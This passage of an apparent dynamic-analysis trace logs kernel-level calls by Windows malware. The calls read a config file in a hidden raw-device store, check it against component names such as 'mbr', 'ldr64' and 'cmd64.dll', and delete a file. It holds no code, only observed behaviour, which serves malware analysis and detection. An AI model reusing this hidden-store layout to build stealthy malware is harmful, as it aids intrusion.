0xc000007e [0122.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.202] KeLeaveCriticalRegion () [0122.202] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.202] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.202] KeEnterCriticalRegion () [0122.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.202] ExFreePoolWithTag (P=0xfffffa8003be3550, Tag=0x0) [0122.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.202] KeLeaveCriticalRegion () [0122.202] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.202] ReleaseMutex (hMutex=0xf0) returned 1 [0122.202] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.202] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.202] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.202] KeEnterCriticalRegion () [0122.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.202] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.202] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.202] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.202] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.202] IdePortDispatch () returned 0x103 [0122.202] KeWaitForMutexObject () returned 0x0 [0122.202] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.202] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.202] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.202] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.202] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.202] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4f00 [0122.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.202] KeLeaveCriticalRegion () [0122.203] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.203] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.203] KeEnterCriticalRegion () [0122.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.203] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.203] KeLeaveCriticalRegion () [0122.203] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.203] KeEnterCriticalRegion () [0122.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.203] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.203] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.203] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.203] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.203] IdePortDispatch () returned 0x103 [0122.203] KeWaitForMutexObject () returned 0x0 [0122.203] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.203] KeLeaveCriticalRegion () [0122.203] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.203] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.203] KeEnterCriticalRegion () [0122.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.203] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4c000 [0122.203] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.203] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.203] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.203] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.203] IdePortDispatch () returned 0x103 [0122.203] KeWaitForMutexObject () returned 0x0 [0122.204] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.204] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.204] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.204] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.204] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.204] IdePortDispatch () returned 0x103 [0122.204] KeWaitForMutexObject () returned 0x0 [0122.204] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.204] KeLeaveCriticalRegion () [0122.204] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.204] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.204] KeEnterCriticalRegion () [0122.204] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.204] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.204] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.204] KeLeaveCriticalRegion () [0122.204] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.204] KeEnterCriticalRegion () [0122.204] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.204] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.205] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.205] KeLeaveCriticalRegion () [0122.205] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.205] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.205] KeEnterCriticalRegion () [0122.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.205] ExFreePoolWithTag (P=0xfffffa8003be4f00, Tag=0x0) [0122.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.205] KeLeaveCriticalRegion () [0122.205] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.205] ReleaseMutex (hMutex=0xf0) returned 1 [0122.205] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.205] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.205] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.205] KeEnterCriticalRegion () [0122.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.205] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.205] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.205] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.205] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.205] IdePortDispatch () returned 0x103 [0122.205] KeWaitForMutexObject () returned 0x0 [0122.205] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.205] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.205] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.205] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.205] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.205] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4fb0 [0122.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.205] KeLeaveCriticalRegion () [0122.205] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.205] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.205] KeEnterCriticalRegion () [0122.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.205] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.205] KeLeaveCriticalRegion () [0122.206] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.206] KeEnterCriticalRegion () [0122.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.206] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.206] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.206] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.206] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.206] IdePortDispatch () returned 0x103 [0122.206] KeWaitForMutexObject () returned 0x0 [0122.206] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.206] KeLeaveCriticalRegion () [0122.206] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.206] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.206] KeEnterCriticalRegion () [0122.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.206] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4d000 [0122.206] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.206] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.206] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.206] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.206] IdePortDispatch () returned 0x103 [0122.206] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.206] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.206] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.206] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.206] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.206] IdePortDispatch () returned 0x103 [0122.207] KeWaitForMutexObject () returned 0x0 [0122.207] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.207] KeLeaveCriticalRegion () [0122.207] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.207] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.207] KeEnterCriticalRegion () [0122.207] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.207] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.207] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.207] KeLeaveCriticalRegion () [0122.207] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.207] KeEnterCriticalRegion () [0122.207] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.207] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.207] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.207] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.207] KeLeaveCriticalRegion () [0122.207] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.207] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.207] KeEnterCriticalRegion () [0122.207] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.207] ExFreePoolWithTag (P=0xfffffa8003be4fb0, Tag=0x0) [0122.207] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.208] KeLeaveCriticalRegion () [0122.208] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.208] ReleaseMutex (hMutex=0xf0) returned 1 [0122.208] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.208] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.208] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.208] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.208] KeEnterCriticalRegion () [0122.208] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.208] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.208] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.208] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.208] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.208] IdePortDispatch () returned 0x103 [0122.208] KeWaitForMutexObject () returned 0x0 [0122.208] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.208] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.208] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.208] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.208] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.208] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.208] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.208] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.208] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.208] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.208] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.208] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.208] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.208] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.208] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.208] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.208] KeLeaveCriticalRegion () [0122.208] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.208] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.208] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.208] KeEnterCriticalRegion () [0122.209] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.209] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.209] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.209] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.209] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.209] IdePortDispatch () returned 0x103 [0122.209] KeWaitForMutexObject () returned 0x0 [0122.209] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.209] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.209] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.209] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.209] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.209] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.209] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.209] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.209] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.209] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.209] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.209] KeLeaveCriticalRegion () [0122.209] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.209] ReleaseMutex (hMutex=0x100) returned 1 [0122.209] Sleep (dwMilliseconds=0x2bf20) [0122.216] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c09eb90, dwHighDateTime=0x1d24fa4)) [0122.216] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.216] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.217] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.217] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.217] KeEnterCriticalRegion () [0122.217] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.217] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.217] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.217] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.217] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.217] IdePortDispatch () returned 0x103 [0122.217] KeWaitForMutexObject () returned 0x0 [0122.217] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.217] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.217] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.217] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.217] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.217] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4c50 [0122.217] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.217] KeLeaveCriticalRegion () [0122.217] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.217] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.217] KeEnterCriticalRegion () [0122.217] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.217] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.217] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.217] KeLeaveCriticalRegion () [0122.217] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.217] KeEnterCriticalRegion () [0122.217] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.217] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.217] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.217] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.217] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.217] IdePortDispatch () returned 0x103 [0122.218] KeWaitForMutexObject () returned 0x0 [0122.218] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.218] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.218] KeLeaveCriticalRegion () [0122.218] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.218] _snprintf 